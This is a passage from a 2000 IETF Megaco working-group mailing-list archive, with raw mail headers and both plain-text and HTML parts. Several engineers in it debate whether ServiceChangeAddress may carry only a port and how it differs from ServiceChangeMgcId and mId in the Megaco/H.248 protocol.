    size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt;
    &gt; &gt; &gt; &gt; &gt; &gt; &gt; --</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    &gt; &gt; &gt; &gt; &gt; Flemming Andreasen</FONT> <BR><FONT size=2>&gt;
    &gt; &gt; &gt; &gt; &gt; &gt; &gt; Cisco Systems</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt;
    &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
    &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; --</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; Flemming Andreasen</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; Cisco Systems</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
    --</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; Flemming Andreasen</FONT>
    <BR><FONT size=2>&gt; &gt; &gt; &gt; Cisco Systems</FONT> <BR><FONT
    size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;</FONT>
    <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; --</FONT> <BR><FONT
    size=2>&gt; Flemming Andreasen</FONT> <BR><FONT size=2>&gt; Cisco
    Systems</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt;
    </FONT><BR><FONT size=2>&gt; </FONT></P></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C01852.876AE18C--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 20:25:01 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA25264
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 20:24:55 -0400 (EDT)
Received: from standards (47.234.32.16:1168) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90F14@standards.nortelnetworks.com>; Wed, 6 Sep 2000 20:09:05 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 21316 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 20:09:03 -0400
Received: from turin.trillium.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB90F11@standards.nortelnetworks.com>; Wed, 6 Sep 2000 20:09:02
          -0400
Received: from aiglos.trillium.com (smtp.trillium.com [192.168.3.20]) by
          turin.trillium.com (8.11.0/8.11.0) with ESMTP id e870QSH10193; Wed, 6
          Sep 2000 17:26:28 -0700 (PDT)
Received: from aega.trillium.com (aega.trillium.com [192.168.1.19]) by
          aiglos.trillium.com (8.9.3/8.9.3) with ESMTP id RAA24905; Wed, 6 Sep
          2000 17:21:52 -0700 (PDT)
Received: by aega.trillium.com with Internet Mail Service (5.5.2650.21) id
          <RT9L6V90>; Wed, 6 Sep 2000 17:14:03 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C01860.87317E8E"
Message-ID:  <8BBD33A986C5D311804000902719FF5D9FB438@aega.trillium.com>
Date:         Wed, 6 Sep 2000 17:14:02 -0700
Reply-To: Bharat Kaul <bharat@TRILLIUM.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Bharat Kaul <bharat@TRILLIUM.COM>
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         Tom-PT Taylor <taylor@nortelnetworks.com>,
              "Rosen, Brian" <Brian.Rosen@marconi.com>,
              Flemming Andreasen <fandreas@cisco.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C01860.87317E8E
Content-Type: text/plain;
        charset="iso-8859-1"

I am thinking about issues involved, if any. It is food for thought :)

-----Original Message-----
From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
Sent: Wednesday, September 06, 2000 4:04 PM
To: 'Bharat Kaul'; 'Rosen, Brian'; 'Flemming Andreasen'
Cc: megaco@standards.nortelnetworks.com
Subject: RE: Supplying only a port on a ServiceChangeAddress


Does it really matter whether the MG knows that it is talking to the same or
a new entity?

-----Original Message-----
From: Bharat Kaul [mailto:bharat@trillium.com]
Sent: Wednesday, September 06, 2000 6:34 PM
To: 'Rosen, Brian'; Taylor, Tom-PT [NORSE:B901:EXCH]; 'Flemming Andreasen';
Bharat Kaul
Cc: megaco@standards.nortelnetworks.com
Subject: RE: Supplying only a port on a ServiceChangeAddress


I also agree with what seems to be the evolving consensus.

However, we might to have evaluate the choice of IP Address being present as
part of ServiceChangeAddress more carefully before disallowing it.

The case in point being an entity wanting to redirect the conversation on a
particular interface and a port or current interface and a particular port.
For first case, we need to allow presence of IP Address. For second case, we
are fine with port. So effectively, it boils down to using
ServiceChangeMgcId.
It might be  a requirement that MG  receiving the parameter  knows exactly
that it has been asked to communicate on other interface with the same MGC
and hasn't been redirected to a altogether new MGC otherwise the MG might
interpret them as two separate entities which is not a correct picture.

Any comments on  this ?

- Bharat


-----Original Message-----
From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
Sent: Wednesday, September 06, 2000 11:12 AM
To: 'Tom-PT Taylor'; 'Flemming Andreasen'; Bharat Kaul
Cc: megaco@standards.nortelnetworks.com
Subject: RE: Supplying only a port on a ServiceChangeAddress





OK, I'd say we have consensus on the following:

(1) As oft repeated, the mId designates a peer in a control session.  It
does not change even if the addresses used in the session change.  Different
port addresses could be used to designate different virtual MGs, but this is
a local implementation issue.

I'm assuming here that you mean mId, the thing that goes in every message,
and that there is no arbitrary changing of it - changes get signalled in
ServiceChange.  mId serves to identify which association this message refers
to.  Given those caveats, I agree.

(2) ServiceChangeAddress can be used to change the address to which the peer
sends requests within the existing control session.  The ABNF syntax of
ServiceChangeAddress is VALUE, which permits designation of a port only
within a quoted string.  The difference between this and the ASN.1 syntax is
what started this whole thread, but is irrelevant because the functionality
is still available.  There is the legitimate question of whether the
ServiceChangeAddress functionality is needed.  I'm not sure I have consensus
to deprecate use of ServiceChangeAddress.

I'd like to see if we could develop a consensus, but I can live with it.

I'm still concerned about the difficulty of changing address, or port, with
TCP transport.  We need at least a note of caution in the Implementers
Guide.

(3) ServiceChangeMGgcId is used to redirect the control session.  The ABNF
type of ServiceChangeMgcId is MId, which presumably is why MId is so
carefully developed as an address.

Yes!

There is an open issue regarding TCP.  That is, is everyone prepared to
accept the restriction Bharat wants to place on TCP, to the effect that the
MG is never a listener?

Yes!

Brian

> -----Original Message-----
> From: Flemming Andreasen [ mailto:fandreas@cisco.com
<mailto:fandreas@cisco.com> ]
> Sent: Wednesday, September 06, 2000 10:39 AM
> To: Rosen, Brian; Taylor, Tom-PT [NORSE:B901:EXCH]; Bharat Kaul
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Supplying only a port on a ServiceChangeAddress
>
>
> So do we have any consensus resolution on this issue ?
>
> -- Flemming
>
> "Rosen, Brian" wrote:
>
> > Yeah, the mId started life as the thing in the header that let an
> > MGC know which entity it was talking to.  It's always been an
> > address though - desirable as an FQDN and acceptable to be a hard
> > address.
> >
> > The intention of ServiceChangeMid was to be the referral
> address for an
> > association that was not acceptable to the MGC.
> ServiceChangeAddress used
> > to be port, and it was just for changing port numbers, not
> addresses.  We
> > went downhill (IMO) from there.
> >
> > I'm with Flemming, one thing is all we need, but we are
> stuck with 2 for
> > now.
> >
> > Brian
> >
> > > -----Original Message-----
> > > From: Tom-PT Taylor [ mailto:taylor@NORTELNETWORKS.COM
<mailto:taylor@NORTELNETWORKS.COM> ]
> > > Sent: Tuesday, September 05, 2000 3:16 PM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > >
> > >
> > > I think we agree that MId is just an identifier of a peer
> in a control
> > > session.  I still ask myself why we defined it to be an
> > > address rather than
> > > an arbitrary string.  I suspect we changed intentions since
> > > it first showed
> > > up.
> > >
> > > > -----Original Message-----
> > > > From: Flemming Andreasen [ mailto:fandreas@CISCO.COM
<mailto:fandreas@CISCO.COM> ]
> > > > Sent: Tuesday, September 05, 2000 3:12 PM
> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > >
> > > >
> > > > Bharat Kaul wrote:
> > > >
> > > > > Hi Flemming, Brian and List,
> > > > >
> > > > >   ServiceChangeMGCId should be kept for contacting a new
> > > > MGC or rather
> > > > > establishing new control Session.
> > > > >
> > > > > ServiceChangeAddress is for redirection within a MGC e.g.
> > > > MG contacts MGC at
> > > > > a default port and based on some policy MGC wants to assign
> > > > MG to a specific
> > > > > port, it should send ServiceChangeAddress specifying the
> > > > port.These two
> > > > > semantics seem clear and fair enough.
> > > >
> > > > I quite frankly don't understand the need for having port as
> > > > an identifier and
> > > > then being able to specify another port to override it, while
> > > > keeping the
> > > > identifier port the same.
> > > >
> > > >
> > > > >
> > > > >
> > > > > Port in MID should be just a tool to identify an entity
> > > > uniquely, with one
> > > > > requirement that MID for a control session is consistent
> > > between two
> > > > > entities.
> > > >
> > > > In that case it should be called something different than a
> > > > port, or at least be
> > > > treated as something different.
> > > >
> > > > -- Flemming
> > > >
> > > >
> > > > >
> > > > >
> > > > > - Bharat
> > > > >
> > > > > -----Original Message-----
> > > > > From: Flemming Andreasen [ mailto:fandreas@CISCO.COM
<mailto:fandreas@CISCO.COM> ]
> > > > > Sent: Tuesday, September 05, 2000 8:29 AM
> > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > >
> > > > > Let's take a step back here and ask ourselves what we are
> > > > trying to achieve:
> > > > >
> > > > > 1. We have a need to identify the entity we wish to
> > > communicate with
> > > > > 2. We have a need to communicate with that entity.
> > > > >
> > > > > This is a classical naming issue that doesn't need to
> > > become overly
> > > > > complicated. In order to get from the name in 1 to the
> > > > address (or route) in
> > > > > 2, you need to perform name resolution in the cases where
> > > > the name itself is
> > > > > not an address. For domain names, this name resolution is
> > > > achieved by DNS,
> > > > > for IP-addresses, it should normally be a NOP. By having both
> > > > > ServiceChangeMGGId and ServiceChangeAddress, you are
> > > > effectively providing
> > > > > an alternate name resolution mechanism which overrides DNS
> > > > and allows one
> > > > > IP-address to map to another. We should not be doing that,
> > > > and I also note
> > > > > that this was probably not the authors' intent, since
> > > > ServiceChangeAddress
> > > > > and ServiceChangeMGCId are not both allowed in a
> single command.
> > > > >
> > > > > That still leaves open the question of exactly what
> > > > ServiceChangeAddress
> > > > > then is, and I believe Brian answered that earlier with his
> > > > two proposals.
> > > > > In a perfect world, I would prefer getting rid of
> > > > ServiceChangeAddress, but
> > > > > we may be beyond that. Does it make sense to allow just a
> > > > port number then ?
> > > > > Considering that we already allow for port in mId, port is
> > > > part of the name
> > > > > and for the same reasons as we shouldn't map one IP-address
> > > > to another, we
> > > > > shouldn't map one port to another either IMO. If the MGC
> > > > (or MG) wants the
> > > > > other party to talk to it on another port, it simply sends
> > > > back another
> > > > > ServiceChangeMGCId with that port number in it.
> > > > >
> > > > > -- Flemming
> > > > >
> > > > > "Rosen, Brian" wrote:
> > > > >
> > > > > > It depends on what you want to have happen.
> > > > > >
> > > > > > If you want the MG, on receipt of a reply with a
> > > > ServiceChangeAddress,
> > > > > > to tear down it's current transport connection, create
> > > a new one,
> > > > > > and stand by for messages from the MGC, then I suppose
> > > > you would be
> > > > > > correct.
> > > > > >
> > > > > > If it was TCP (and I guess SCTP), this is pretty weird,
> > > > because the
> > > > > > MG established a full duplex connection, but the
> next message is
> > > > > > almost certainly from the MGC.  The MGC is going to have
> > > > to watch for
> > > > > > this carefully, and not send messages until the new
> > > channel is up.
> > > > > >
> > > > > > Or, the MGC can just use ServiceChangeMid.  The MG will
> > > respond by
> > > > > > tearing down the transport, establishing a new one,
> and sending
> > > > > > a new ServiceChange.  The MGC "fires and forgets" -- the new
> > > > > > ServiceChange, at the "new" address, looks like a
> > > > complete new start.
> > > > > >
> > > > > > Brian
> > > > > >
> > > > > > -----Original Message-----
> > > > > > From: Christian Groves
> > > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > Sent: 9/3/00 7:38 PM
> > > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > > >
> > > > > > G'Day Brian and Flemming,
> > > > > >
> > > > > > I saw that the difference between when you use
> > > > ServiceChangeAddress and
> > > > > > ServiceChangeMid was that the ServiceChangeAddress was
> > > > used when talking
> > > > > > to an already contacted physical MGC. The
> > > > ServiceChangeMid was used to
> > > > > > contact a physically seperate MGC. So I don't see
> the need of
> > > > > > disallowing anything but the port in IP as the MGC may
> > > > have a range of
> > > > > > addresses.
> > > > > >
> > > > > > Cheers, Christian
> > > > > >
> > > > > > "Rosen, Brian" wrote:
> > > > > > >
> > > > > > > I thought you might say that, I've been thinking about it
> > > > > > > since I sent the message.
> > > > > > >
> > > > > > > Posing the question slightly differently, if the
> > > > ServiceChangeAddress
> > > > > > > can do what ServiceChangeMid can do, so why have two
> > > mechanisms?
> > > > > > > The only difference would be the MGs actions.  If you used
> > > > > > > ServiceChangeAddress,
> > > > > > > the MG would not send a new ServiceChange command to
> > > > the new address.
> > > > > > > If you used ServiceChangeMid, it would.  The end result
> > > > would be the
> > > > > > same.
> > > > > > >
> > > > > > > We can:
> > > > > > >         Explicitly disallow ServiceChangeAddress from
> > > > being used to
> > > > > > >                 change anything but IP Port when
> used with IP
> > > > > > >         Get rid of one of the two of them
> > > > > > >
> > > > > > > I favor the former, as that is easiest, is most
> > > consistent with
> > > > > > > history, and makes the most sense to me.  I'll
> note that what
> > > > > > > we call ServiceChangeAddress used to be "port".  It got
> > > > > > > changed when we realized "port" wouldn't make
> sense if it was
> > > > > > > not an IP transport.
> > > > > > >
> > > > > > > Brian
> > > > > > >
> > > > > > > > -----Original Message-----
> > > > > > > > From: Flemming Andreasen [ mailto:fandreas@cisco.com
<mailto:fandreas@cisco.com> ]
> > > > > > > > Sent: Tuesday, August 29, 2000 7:37 PM
> > > > > > > > To: Rosen, Brian
> > > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > > > Subject: Re: Supplying only a port on a
> ServiceChangeAddress
> > > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > > "Rosen, Brian" wrote:
> > > > > > > >
> > > > > > > > > I think the issue is that you can have the same MGC
> > > > have multiple
> > > > > > > > > IP addresses.  You accept the association, but
> > > > change the address.
> > > > > > > > > Say, a pool of servers appearing to be one MGC.
> > > > > > > >
> > > > > > > > I'm not sure I fully understand what an
> association is then.
> > > > > > > > What's the
> > > > > > > > difference/relationship between the association
> > > > address and the
> > > > > > > > ServiceChangeMgcId (which may itself contain an
> address or
> > > > > > indirectly
> > > > > > > > refer to a number of addresses through DNS) ?
> > > > > > > >
> > > > > > > > -- Flemming
> > > > > > > >
> > > > > > > >
> > > > > > > > >
> > > > > > > > >
> > > > > > > > > Brian
> > > > > > > > >
> > > > > > > > > > -----Original Message-----
> > > > > > > > > > From: Flemming Andreasen [ mailto:fandreas@cisco.com
<mailto:fandreas@cisco.com> ]
> > > > > > > > > > Sent: Tuesday, August 29, 2000 6:38 PM
> > > > > > > > > > To: Rosen, Brian
> > > > > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > > > > > Subject: Re: Supplying only a port on a
> > > > ServiceChangeAddress
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > > > > "Rosen, Brian" wrote:
> > > > > > > > > >
> > > > > > > > > > > Suppose all you want to specify in a
> > > > ServiceChangeAddress
> > > > > > > > > > is a port number
> > > > > > > > > > > that is, the IP address doesn't change, but the
> > > > port does.
> > > > > > > > > > >
> > > > > > > > > > > The ABNF sez:
> > > > > > > > > > > serviceChangeAddress =
> > > > ServiceChangeAddressToken EQUAL VALUE
> > > > > > > > > > >
> > > > > > > > > > > This is because it could be IP, ATM, FR, MPLS....
> > > > > > > > > > >
> > > > > > > > > > > The example shows just a port number.
> > > > > > > > > >
> > > > > > > > > > Actually, I thought that's all that would be
> > > > allowed in the
> > > > > > > > > > case of IP. If
> > > > > > > > > > not, how can it be within the "context of the
> > > association
> > > > > > > > > > currently being
> > > > > > > > > > negotiated", and how would it then relate to
> > > > ServiceChangeMgcId
> > > > > > ?
> > > > > > > > > >
> > > > > > > > > > -- Flemming
> > > > > > > > > >
> > > > > > > > > > >
> > > > > > > > > > >
> > > > > > > > > > > Should that be legal?  Should you have to
> > > specify the IP
> > > > > > address
> > > > > > > > > > > as x.x.x.x:p?
> > > > > > > > > > >
> > > > > > > > > > > Brian
> > > > > > > > > >
> > > > > > > > > > --
> > > > > > > > > > Flemming Andreasen
> > > > > > > > > > Cisco Systems
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > >
> > > > > > > > --
> > > > > > > > Flemming Andreasen
> > > > > > > > Cisco Systems
> > > > > > > >
> > > > > > > >
> > > > >
> > > > > --
> > > > > Flemming Andreasen
> > > > > Cisco Systems
> > > >
> > > > --
> > > > Flemming Andreasen
> > > > Cisco Systems
> > > >
> > >
>
> --
> Flemming Andreasen
> Cisco Systems
>
>
>


------_=_NextPart_001_01C01860.87317E8E
Content-Type: text/html;
        charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>RE: Supplying only a port on a ServiceChangeAddress</TITLE>

<META content="MSHTML 5.00.2314.1000" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#ff0000 face=Arial size=2><SPAN class=561282100-07092000>I am
thinking about issues involved, if any. It is food for thought
:)</SPAN></FONT></DIV>
<BLOCKQUOTE style="MARGIN-RIGHT: 0px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma
  size=2>-----Original Message-----<BR><B>From:</B> Tom-PT Taylor
  [mailto:taylor@nortelnetworks.com]<BR><B>Sent:</B> Wednesday, September 06,
  2000 4:04 PM<BR><B>To:</B> 'Bharat Kaul'; 'Rosen, Brian'; 'Flemming
  Andreasen'<BR><B>Cc:</B>
  megaco@standards.nortelnetworks.com<BR><B>Subject:</B> RE: Supplying only a
  port on a ServiceChangeAddress<BR><BR></DIV></FONT>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=870500123-06092000>Does
  it really matter whether the MG knows that it is talking to the same or a new
  entity?</SPAN></FONT></DIV>
  <BLOCKQUOTE
  style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
    <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma
    size=2>-----Original Message-----<BR><B>From:</B> Bharat Kaul
    [mailto:bharat@trillium.com]<BR><B>Sent:</B> Wednesday, September 06, 2000
    6:34 PM<BR><B>To:</B> 'Rosen, Brian'; Taylor, Tom-PT [NORSE:B901:EXCH];
    'Flemming Andreasen'; Bharat Kaul<BR><B>Cc:</B>
    megaco@standards.nortelnetworks.com<BR><B>Subject:</B> RE: Supplying only a
    port on a ServiceChangeAddress<BR><BR></DIV></FONT>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN class=166452822-06092000>I
    also agree with what seems to be the evolving
    consensus.&nbsp;&nbsp;</SPAN></FONT></DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
    class=166452822-06092000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
    class=166452822-06092000>However, we might to have evaluate the choice of IP
    Address being present as part of ServiceChangeAddress more carefully before
    disallowing it. </SPAN></FONT></DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
    class=166452822-06092000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
    class=166452822-06092000>The case in point being an entity wanting to
    redirect the conversation on a particular interface and a port or current
    interface and a particular port. For first case, we need to allow presence
    of IP Address. For second case, we are fine with port. So effectively, it
    boils down to using ServiceChangeMgcId.</SPAN></FONT></DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN class=166452822-06092000>It
    might be&nbsp; a requirement that&nbsp;MG&nbsp; receiving&nbsp;the
    parameter&nbsp; knows exactly that it has been asked to communicate on other
    interface with the same&nbsp;MGC and hasn't been redirected to a altogether
    new MGC otherwise the MG might interpret them as two separate entities which
    is not a correct picture.</SPAN></FONT></DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
    class=166452822-06092000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
    class=166452822-06092000>Any comments on&nbsp; this ?</SPAN></FONT></DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
    class=166452822-06092000></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN class=166452822-06092000>-
    Bharat</SPAN></FONT></DIV>
    <DIV><FONT color=#ff0000 face=Arial size=2><SPAN
    class=166452822-06092000></SPAN></FONT>&nbsp;</DIV>
    <BLOCKQUOTE style="MARGIN-RIGHT: 0px">
      <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma
      size=2>-----Original Message-----<BR><B>From:</B> Rosen, Brian
      [mailto:Brian.Rosen@marconi.com]<BR><B>Sent:</B> Wednesday, September 06,
      2000 11:12 AM<BR><B>To:</B> 'Tom-PT Taylor'; 'Flemming Andreasen'; Bharat
      Kaul<BR><B>Cc:</B> megaco@standards.nortelnetworks.com<BR><B>Subject:</B>
      RE: Supplying only a port on a ServiceChangeAddress<BR><BR></DIV></FONT>
      <BLOCKQUOTE
      style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
        <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma
        size=2></DIV></FONT>
        <P><FONT size=2>OK, I'd say we have consensus on the following:</FONT>
        </P>
        <P><FONT size=2>(1) As oft repeated, the mId designates a peer in a
        control session.&nbsp; It does not change even if the addresses used in
        the session change.&nbsp; Different port addresses could be used to
        designate different virtual MGs, but this is a local implementation
        issue.<FONT color=#0000ff face=Arial><SPAN
        class=730190518-06092000>&nbsp;</SPAN></FONT></FONT></P>
        <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
        class=730190518-06092000>I'm assuming here&nbsp;that you mean mId, the
        thing that goes in every message, and that&nbsp;there is no arbitrary
        changing of it - changes get signalled in ServiceChange.&nbsp;&nbsp;mId
        serves to identify which association this message refers to.&nbsp; Given
        those caveats</SPAN></FONT></FONT><FONT size=2><FONT color=#0000ff
        face=Arial><SPAN class=730190518-06092000>, I
        agree.&nbsp;</SPAN></FONT></FONT></P>
        <P><FONT size=2>(2) ServiceChangeAddress can be used to change the
        address to which the peer sends requests within the existing control
        session.&nbsp; The ABNF syntax of ServiceChangeAddress is VALUE, which
        permits designation of a port only within a quoted string.&nbsp; The
        difference between this and the ASN.1 syntax is what started this whole
        thread, but is irrelevant because the functionality is still
        available.&nbsp; There is the legitimate question of whether the
        ServiceChangeAddress functionality is needed.&nbsp; I'm not sure I have
        consensus to deprecate use of ServiceChangeAddress.<FONT color=#0000ff
        face=Arial><SPAN
class=730190518-06092000>&nbsp;</SPAN></FONT></FONT></P>
        <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
        class=730190518-06092000>I'd like to see if we could develop a
        consensus, but I can live with it.</SPAN></FONT></FONT></P>
        <P><FONT color=#0000ff face=Arial size=2><SPAN
        class=730190518-06092000>I'm still concerned about the difficulty of
        changing address, or port, with TCP transport.&nbsp; We need at least a
        note of caution in the Implementers Guide.</SPAN></FONT></P>
        <P><FONT size=2>(3) ServiceChangeMGgcId is used to redirect the control
        session.&nbsp; The ABNF type of ServiceChangeMgcId is MId, which
        presumably is why MId is so carefully developed as an address.<FONT
        color=#0000ff face=Arial><SPAN
        class=730190518-06092000>&nbsp;</SPAN></FONT></FONT></P>
        <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
        class=730190518-06092000>Yes!&nbsp;</SPAN></FONT></FONT></P>
        <P><FONT size=2>There is an open issue regarding TCP.&nbsp; That is, is
        everyone prepared to accept the restriction Bharat wants to place on
        TCP, to the effect that the MG is never a listener?<FONT color=#0000ff
        face=Arial><SPAN
class=730190518-06092000>&nbsp;</SPAN></FONT></FONT></P>
        <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
        class=730190518-06092000>Yes!</SPAN></FONT></FONT></P>
        <P><FONT size=2><FONT color=#0000ff face=Arial><SPAN
        class=730190518-06092000>Brian&nbsp;</SPAN></FONT></FONT></P>
        <P><FONT size=2>&gt; -----Original Message-----</FONT> <BR><FONT
        size=2>&gt; From: Flemming Andreasen [<A
        href="mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</A>]</FONT>
        <BR><FONT size=2>&gt; Sent: Wednesday, September 06, 2000 10:39
        AM</FONT> <BR><FONT size=2>&gt; To: Rosen, Brian; Taylor, Tom-PT
        [NORSE:B901:EXCH]; Bharat Kaul</FONT> <BR><FONT size=2>&gt; Cc:
        MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt;
        Subject: Re: Supplying only a port on a ServiceChangeAddress</FONT>
        <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; </FONT><BR><FONT
        size=2>&gt; So do we have any consensus resolution on this issue
        ?</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; --
        Flemming</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt;
        "Rosen, Brian" wrote:</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT
        size=2>&gt; &gt; Yeah, the mId started life as the thing in the header
        that let an</FONT> <BR><FONT size=2>&gt; &gt; MGC know which entity it
        was talking to.&nbsp; It's always been an</FONT> <BR><FONT size=2>&gt;
        &gt; address though - desirable as an FQDN and acceptable to be a
        hard</FONT> <BR><FONT size=2>&gt; &gt; address.</FONT> <BR><FONT
        size=2>&gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; The intention of
        ServiceChangeMid was to be the referral </FONT><BR><FONT size=2>&gt;
        address for an</FONT> <BR><FONT size=2>&gt; &gt; association that was
        not acceptable to the MGC.&nbsp; </FONT><BR><FONT size=2>&gt;
        ServiceChangeAddress used</FONT> <BR><FONT size=2>&gt; &gt; to be port,
        and it was just for changing port numbers, not </FONT><BR><FONT
        size=2>&gt; addresses.&nbsp; We</FONT> <BR><FONT size=2>&gt; &gt; went
        downhill (IMO) from there.</FONT> <BR><FONT size=2>&gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; I'm with Flemming, one thing is all we need,
        but we are </FONT><BR><FONT size=2>&gt; stuck with 2 for</FONT>
        <BR><FONT size=2>&gt; &gt; now.</FONT> <BR><FONT size=2>&gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; Brian</FONT> <BR><FONT size=2>&gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; -----Original
        Message-----</FONT> <BR><FONT size=2>&gt; &gt; &gt; From: Tom-PT Taylor
        [<A
        href="mailto:taylor@NORTELNETWORKS.COM">mailto:taylor@NORTELNETWORKS.COM</A>]</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; Sent: Tuesday, September 05, 2000 3:16
        PM</FONT> <BR><FONT size=2>&gt; &gt; &gt; To:
        MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; Subject: Re: Supplying only a port on a ServiceChangeAddress</FONT>
        <BR><FONT size=2>&gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
        &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; I think we agree that MId is
        just an identifier of a peer </FONT><BR><FONT size=2>&gt; in a
        control</FONT> <BR><FONT size=2>&gt; &gt; &gt; session.&nbsp; I still
        ask myself why we defined it to be an</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; address rather than</FONT> <BR><FONT size=2>&gt; &gt; &gt; an
        arbitrary string.&nbsp; I suspect we changed intentions since</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; it first showed</FONT> <BR><FONT
        size=2>&gt; &gt; &gt; up.</FONT> <BR><FONT size=2>&gt; &gt; &gt;</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; -----Original Message-----</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; From: Flemming Andreasen [<A
        href="mailto:fandreas@CISCO.COM">mailto:fandreas@CISCO.COM</A>]</FONT>
        <BR><FONT size=2>&gt; &gt; &gt; &gt; Sent: Tuesday, September 05, 2000
        3:12 PM</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; To:
        MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt;
        &gt; &gt; Subject: Re: Supplying only a port on a
